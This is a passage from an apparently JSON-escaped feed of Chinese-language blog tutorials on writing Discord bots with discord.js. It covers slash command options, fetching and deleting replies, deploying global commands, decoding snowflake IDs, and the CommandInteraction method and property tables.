AutocompleteFocusedOption\u003c/td\u003e\n\u003ctd\u003e获取关注点选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getInteger()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e获取整数选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMember()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003eGuildMemberAPIGuildMember\u003c/td\u003e\n\u003ctd\u003e获取服务器成员选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMentionable()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eUserGuildMemberAPIGuildMember 或 RoleAPIRole\u003c/td\u003e\n\u003ctd\u003e获得一个服务器成员或身份组的选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMessage()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eMessage\u003c/td\u003e\n\u003ctd\u003e获取消息选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getNumber()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e获取数字选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getRole()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eRoleAPIRole\u003c/td\u003e\n\u003ctd\u003e获取身份组选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getString()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取字符串选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getSubcommand()\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取选定的子命令\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getSubcommandGroup()\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取选定的子命令组\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getUser()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eUser\u003c/td\u003e\n\u003ctd\u003e获取用户选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e属性(Properties):\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.client\u003c/td\u003e\n\u003ctd\u003eClient\u003c/td\u003e\n\u003ctd\u003e实例化这个的 client\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.data\u003c/td\u003e\n\u003ctd\u003eArray\u0026lt; CommandInteractionOption \u0026gt;\u003c/td\u003e\n\u003ctd\u003e交互的 options 数组\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.resolved\u003c/td\u003e\n\u003ctd\u003e\u0026lt; CommandInteractionResolvedData \u0026gt;\u003c/td\u003e\n\u003ctd\u003e交互解析数据\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e介绍了这么多个类,用代码举个例子 \u003ccode\u003ecommands/multiOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t.setName('multioption')\n\t.setDescription('Multiple options.')\n\t.addStringOption(option =\u0026gt; option.setName('input').setDescription('Enter a string'))\n\t.addIntegerOption(option =\u0026gt; option.setName('int').setDescription('Enter an integer'))\n\t.addBooleanOption(option =\u0026gt; option.setName('choice').setDescription('Select a boolean'))\n\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('Select a user'))\n\t.addChannelOption(option =\u0026gt; option.setName('destination').setDescription('Select a channel'))\n\t.addRoleOption(option =\u0026gt; option.setName('muted').setDescription('Select a role'))\n\t.addMentionableOption(option =\u0026gt; option.setName('mentionable').setDescription('Mention something'))\n\t.addNumberOption(option =\u0026gt; option.setName('num').setDescription('Enter a number'))\n\t.addAttachmentOption(option =\u0026gt; option.setName('attachment').setDescription('Attach something')),\n\n\tasync execute(interaction) {\n\t\tconst string = interaction.options.getString('input');\n\t\tconst integer = interaction.options.getInteger('int');\n\t\tconst boolean = interaction.options.getBoolean('choice');\n\t\tconst user = interaction.options.getUser('target');\n\t\tconst member = interaction.options.getMember('target');\n\t\tconst channel = interaction.options.getChannel('destination');\n\t\tconst role = interaction.options.getRole('muted');\n\t\tconst mentionable = interaction.options.getMentionable('mentionable');\n\t\tconst number = interaction.options.getNumber('num');\n\t\tconst attachment = interaction.options.getAttachment('attachment');\n\n\t\tawait console.log(string, integer, boolean, user, member, channel, role, mentionable, number, attachment)\n\t\tawait interaction.reply(\"done\");\n\t},\n};\n\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们输入如下图所示,注意有些项没填,所以输出将是 null:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712150435869-1215124464.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e222 null false null null null Role {\n guild: \u0026lt;ref *1\u0026gt; Guild {\n id: 'xxxxxxxxxxxxxx0988',\n name: '---隐私打码---',\n icon: null,\n features: [],\n commands: GuildApplicationCommandManager {\n permissions: [ApplicationCommandPermissionsManager],\n guild: [Circular *1]\n },\n members: GuildMemberManager { guild: [Circular *1] },\n channels: GuildChannelManager { guild: [Circular *1] },\n bans: GuildBanManager { guild: [Circular *1] },\n roles: RoleManager { guild: [Circular *1] },\n presences: PresenceManager {},\n voiceStates: VoiceStateManager { guild: [Circular *1] },\n stageInstances: StageInstanceManager { guild: [Circular *1] },\n invites: GuildInviteManager { guild: [Circular *1] },\n scheduledEvents: GuildScheduledEventManager { guild: [Circular *1] },\n available: true,\n shardId: 0,\n splash: null,\n banner: null,\n description: null,\n verificationLevel: 'NONE',\n vanityURLCode: null,\n nsfwLevel: 'DEFAULT',\n premiumSubscriptionCount: 0,\n discoverySplash: null,\n memberCount: 3,\n large: false,\n premiumProgressBarEnabled: false,\n applicationId: null,\n afkTimeout: 300,\n afkChannelId: null,\n systemChannelId: 'xxxxxxxxxxxxxx2250',\n premiumTier: 'NONE',\n explicitContentFilter: 'DISABLED',\n mfaLevel: 'NONE',\n joinedTimestamp: xxxxxxxxxx691,\n defaultMessageNotifications: 'ALL_MESSAGES',\n systemChannelFlags: SystemChannelFlags { bitfield: 0 },\n maximumMembers: 500000,\n maximumPresences: null,\n approximateMemberCount: null,\n approximatePresenceCount: null,\n vanityURLUses: null,\n rulesChannelId: null,\n publicUpdatesChannelId: null,\n preferredLocale: 'en-US',\n ownerId: 'xxxxxxxxxxxxxx4590',\n emojis: GuildEmojiManager { guild: [Circular *1] },\n stickers: GuildStickerManager { guild: [Circular *1] }\n },\n icon: null,\n unicodeEmoji: null,\n id: 'xxxxxxxxxxxxxx2137',\n name: 'BlogTest',\n color: 0,\n hoist: false,\n rawPosition: 1,\n permissions: Permissions { bitfield: 8n },\n managed: true,\n mentionable: false,\n tags: { botId: 'xxxxxxxxxxxxxx4939' }\n} null 7.5 MessageAttachment {\n attachment: 'https://cdn.discordapp.com/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n name: '1_BPSx-c--z6r7tY29L19ukQ.png',\n id: 'xxxxxxxxxxxxxx9424',\n size: 50120,\n url: 'https://cdn.discordapp.com/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n proxyURL: 'https://media.discordapp.net/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n height: 768,\n width: 1366,\n contentType: 'image/png',\n description: null,\n ephemeral: true\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e还是 \u003ccode\u003ecommands/multiOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e我们输入:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712151051919-1157319136.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ea1b2c3d4 null true null null null null null 9 null\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e结语\u003c/h3\u003e\n\u003cp\u003eOptions 和 Choices 作为斜杠命令参数很强大。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-6/"},{"title":"Bot in Discord with discord.js (5)","time":"2022-07-12T00:00:00Z","content":"\u003ch2\u003eChapter 6 - 交互:对斜杠命令回复的那些事儿(2)\u003c/h2\u003e\n\u003cp\u003e本章是 Chapter 5 的续集。\u003c/p\u003e\n\u003ch3\u003e抓取响应 Fetching responses\u003c/h3\u003e\n\u003cp\u003e除了对斜杠命令进行回复外,我们还可以抓取这个回复,比如用于给这个回复添加表情回复(reactions)。\u003c/p\u003e\n\u003cp\u003e靠这个:\u003ccode\u003eCommandInteraction#fetchReply()\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e来个例子,\u003ccode\u003ecommands/pingFetch.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping7')\n\t\t.setDescription('Replies with Pong, and fetch!'),\n\tasync execute(interaction) {\n\t await interaction.reply(\"Pong!\");\n\t\tconst message = await interaction.fetchReply();\n\t\tconsole.log(message); // 控制台输出抓取的消息对象本身\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;ref *1\u0026gt; Message {\n channelId: '---隐私打码---',\n guildId: '---隐私打码---',\n id: '---隐私打码---',\n createdTimestamp: xxxxxxxxxx021,\n type: 'APPLICATION_COMMAND',\n system: false,\n content: 'Pong!',\n author: ClientUser {\n id: '---隐私打码---',\n bot: true,\n system: false,\n flags: UserFlags { bitfield: 0 },\n username: 'BlogTest',\n discriminator: '---隐私打码---',\n avatar: null,\n banner: undefined,\n accentColor: undefined,\n verified: true,\n mfaEnabled: false\n },\n pinned: false,\n tts: false,\n nonce: null,\n embeds: [],\n components: [],\n attachments: Collection(0) [Map] {},\n stickers: Collection(0) [Map] {},\n editedTimestamp: null,\n reactions: ReactionManager { message: [Circular *1] },\n mentions: MessageMentions {\n everyone: false,\n users: Collection(0) [Map] {},\n roles: Collection(0) [Map] {},\n _members: null,\n _channels: null,\n crosspostedChannels: Collection(0) [Map] {},\n repliedUser: null\n },\n webhookId: '---隐私打码---',\n groupActivityApplication: null,\n applicationId: '---隐私打码---',\n activity: null,\n flags: MessageFlags { bitfield: 0 },\n reference: null,\n interaction: {\n id: '---隐私打码---',\n type: 'APPLICATION_COMMAND',\n commandName: 'ping7',\n user: User {\n id: '---隐私打码---',\n bot: false,\n system: false,\n flags: [UserFlags],\n username: '---隐私打码---',\n discriminator: '---隐私打码---',\n avatar: '---隐私打码---',\n banner: undefined,\n accentColor: undefined\n }\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这里返回的 json 信息很丰富,从命令发起者到机器人自己的信息,都包括了。\u003c/p\u003e\n\u003ch3\u003e删除响应 Deleting responses\u003c/h3\u003e\n\u003cp\u003e靠这个 \u003ccode\u003eCommandInteraction#deleteReply()\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e注意:你不能删除一个“短暂回复”(Ephemeral response)。\u003c/p\u003e\n\u003cp\u003e比如:\u003ccode\u003ecommands/pingDelete.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\nconst wait = require('node:timers/promises').setTimeout;\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('ping')\n\t\t.setDescription('Replies with Pong!'),\n\tasync execute(interaction) {\n\t\tawait interaction.reply(\"Pong!\");\n\t\tawait wait(1000);\n\t await interaction.deleteReply();\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e它会在回复 \u003ccode\u003ePong!\u003c/code\u003e 1 秒后,删除这条回复。\u003c/p\u003e\n\u003ch3\u003e服务器命令 Guild commands\u003c/h3\u003e\n\u003cp\u003e如果您的应用程序具有 applications.commands 的 scope 授权(我们在 Chapter 1 生成机器人时,已经选定过这个 scpoe 了),则服务器应用程序命令仅在创建它们的服务器中可用。\u003c/p\u003e\n\u003cp\u003e我们在 Chapter 2 中所注册的斜杠命令(ping.js)和斜杠命令部署器(deploy_commands.js)都是围绕服务器命令展开的。\u003c/p\u003e\n\u003ch3\u003e全局命令 Global commands\u003c/h3\u003e\n\u003cp\u003e全局应用程序命令将在您的应用程序具有 applications.commands 的 scpoe 授权(我们在 Chapter 1 生成机器人时,已经选定过这个 scpoe 了)的所有服务器以及 DM(私聊) 中可用。\u003c/p\u003e\n\u003cp\u003e要部署全局命令,您可以使用服务器命令部分中的相同脚本并将脚本中的路由调整为\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n// 利用 .applicationCommands 注册全局命令\nrest.put(Routes.applicationCommands(clientId),{ body: commands },)\n .then(() =\u0026gt; console.log('Successfully registered application commands.')) \n .catch(console.error);\n \n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e补充:snowflake 类型\u003c/h3\u003e\n\u003cp\u003eSnowflake 类型源自推特(Twitter)公司。Snowflake 是 64 位无符号整数,具有全局唯一性,基于时间生成,而不是按顺序生成。\u003c/p\u003e\n\u003cp\u003e在 Javascript 中,整数最大只有 53 位,因此在 JavaScript 中,我们一般选用字符串来存储 snowflake 值。\u003c/p\u003e\n\u003cp\u003e在 Discord 中,假设我们有一个 Snowflake l类型的值 ‘266241948824764416’,它会被这样解读:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e64 22 17 12 0\n 000000111011000111100001101001000101000000 00001 00000 000000000000\n number of milliseconds since Discord epoch worker pid increment\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e63 代表最高位,0代表最低位。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e项目\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003cth\u003e位\u003c/th\u003e\n\u003cth\u003e位的个数\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003cth\u003e提取方法\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eTimestamp\u003c/td\u003e\n\u003ctd\u003e时间戳,单位毫秒\u003c/td\u003e\n\u003ctd\u003e63 to 22\u003c/td\u003e\n\u003ctd\u003e42 bits\u003c/td\u003e\n\u003ctd\u003e自 Discord Epoch 以来的毫秒数,即 2015 年的第一毫秒(即 UNIX 时间戳 1420070400000 所对应的那一毫秒)\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026gt;\u0026gt; 22) + 1420070400000\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInternal worker ID\u003c/td\u003e\n\u003ctd\u003eDiscord 集群编号\u003c/td\u003e\n\u003ctd\u003e21 to 17\u003c/td\u003e\n\u003ctd\u003e5 bits\u003c/td\u003e\n\u003ctd\u003e无需理会\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026amp; 0x3E0000) \u0026gt;\u0026gt; 17\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eInternal process ID\u003c/td\u003e\n\u003ctd\u003e集群内部进程编号\u003c/td\u003e\n\u003ctd\u003e16 to 12\u003c/td\u003e\n\u003ctd\u003e5 bits\u003c/td\u003e\n\u003ctd\u003e无需理会\u003c/td\u003e\n\u003ctd\u003e(snowflake \u0026amp; 0x1F000) \u0026gt;\u0026gt; 12\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eIncrement\u003c/td\u003e\n\u003ctd\u003e这 1 毫秒内,条目的增量\u003c/td\u003e\n\u003ctd\u003e11 to 0\u003c/td\u003e\n\u003ctd\u003e12 bits\u003c/td\u003e\n\u003ctd\u003e对于在该进程上生成的每个 ID,此数字都会递增\u003c/td\u003e\n\u003ctd\u003esnowflake \u0026amp; 0xFFF\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003eCommandInteraction 类\u003c/h3\u003e\n\u003cp\u003e表示命令交互。\u003c/p\u003e\n\u003cp\u003e来自文档 https://discord.js.org/#/docs/discord.js/main/class/CommandInteraction\u003c/p\u003e\n\u003ch4\u003e类方法\u003c/h4\u003e\n\u003cp\u003e我们在上面谈到的许多方法,都是来自于 \u003ccode\u003eCommandInteraction\u003c/code\u003e 类,这个类拓展自 \u003ccode\u003eBaseInteraction\u003c/code\u003e 类。\u003c/p\u003e\n\u003cp\u003e我们已经见过了 \u003ccode\u003e.deferReply()\u003c/code\u003e 、\u003ccode\u003e.deleteReply()\u003c/code\u003e 、\u003ccode\u003e.editReply()\u003c/code\u003e 、\u003ccode\u003e.fetchReply()\u003c/code\u003e 、\u003ccode\u003e.followUp()\u003c/code\u003e 、\u003ccode\u003e.reply()\u003c/code\u003e,不再赘述。\u003c/p\u003e\n\u003cp\u003e下面来看 \u003ccode\u003eCommandInteraction\u003c/code\u003e 类自己非继承来的方法:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e有参数吗\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.awaitModalSubmit()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; ModalSubmitInteraction \u0026gt;\u003c/td\u003e\n\u003ctd\u003e收集通过过滤器的单个模态提交交互。 如果时间到期,Promise 将拒绝\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deferReply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; (Message or InteractionResponse) \u0026gt;\u003c/td\u003e\n\u003ctd\u003e推迟对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deleteReply()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; void \u0026gt;\u003c/td\u003e\n\u003ctd\u003e删除对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.editReply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e编辑对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.fetchReply()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e获取对此交互的初始回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.followUp()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; Message \u0026gt;\u003c/td\u003e\n\u003ctd\u003e向此交互发送后续消息\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.reply()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003ePromise \u0026lt; (Message or InteractionResponse) \u0026gt;\u003c/td\u003e\n\u003ctd\u003e创建对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.showModel()\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003evoid\u003c/td\u003e\n\u003ctd\u003e显示模态组件\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e以下方法来自父类 \u003ccode\u003eBaseInteraction\u003c/code\u003e:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e有参数吗\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inCachedGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否同时被缓存并从服务器接收\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否来自服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.inRawGuild()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否来自未缓存的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isButton()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ButtonInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isChatInputCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ChatInputCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 ContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isMessageContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 MessageContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isRepliable()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示是否可以回复此交互\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isSelectMenu()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 SelectMenuInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.isUserContextMenuCommand()\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eBoolean\u003c/td\u003e\n\u003ctd\u003e指示此交互是否为 UserContextMenuCommandInteraction\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4\u003e类属性\u003c/h4\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.applicationId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e应用程序的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.appPermissions\u003c/td\u003e\n\u003ctd\u003e\u0026lt; PermissionsBitField \u0026gt;\u003c/td\u003e\n\u003ctd\u003e应用程序或机器人在发送交互的频道内拥有的权限集\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channel\u003c/td\u003e\n\u003ctd\u003eTextBasedChannels\u003c/td\u003e\n\u003ctd\u003e发送此交互的频道\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channelId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e发送此交互的频道的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.client\u003c/td\u003e\n\u003ctd\u003eClient\u003c/td\u003e\n\u003ctd\u003e实例化这个交互的客户端\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.command\u003c/td\u003e\n\u003ctd\u003eApplicationCommand\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令(如果之前已获取)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandGuildId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令注册到的服务器 id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的 id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandName\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.commandType\u003c/td\u003e\n\u003ctd\u003eApplicationCommandType\u003c/td\u003e\n\u003ctd\u003e调用的应用程序命令的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.createdAt\u003c/td\u003e\n\u003ctd\u003eDate\u003c/td\u003e\n\u003ctd\u003e创建交互的时间\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.createdTimestamp\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e创建交互的时间戳\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.deferred\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e是否已推迟对此交互的回复\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.ephemeral\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e对此交互的回复是否是短暂的\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guild\u003c/td\u003e\n\u003ctd\u003eGuild\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guildId\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.guildLocale\u003c/td\u003e\n\u003ctd\u003eLocale\u003c/td\u003e\n\u003ctd\u003e发送此交互的服务器的首选语言环境\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.id\u003c/td\u003e\n\u003ctd\u003eSnowflake\u003c/td\u003e\n\u003ctd\u003e交互的 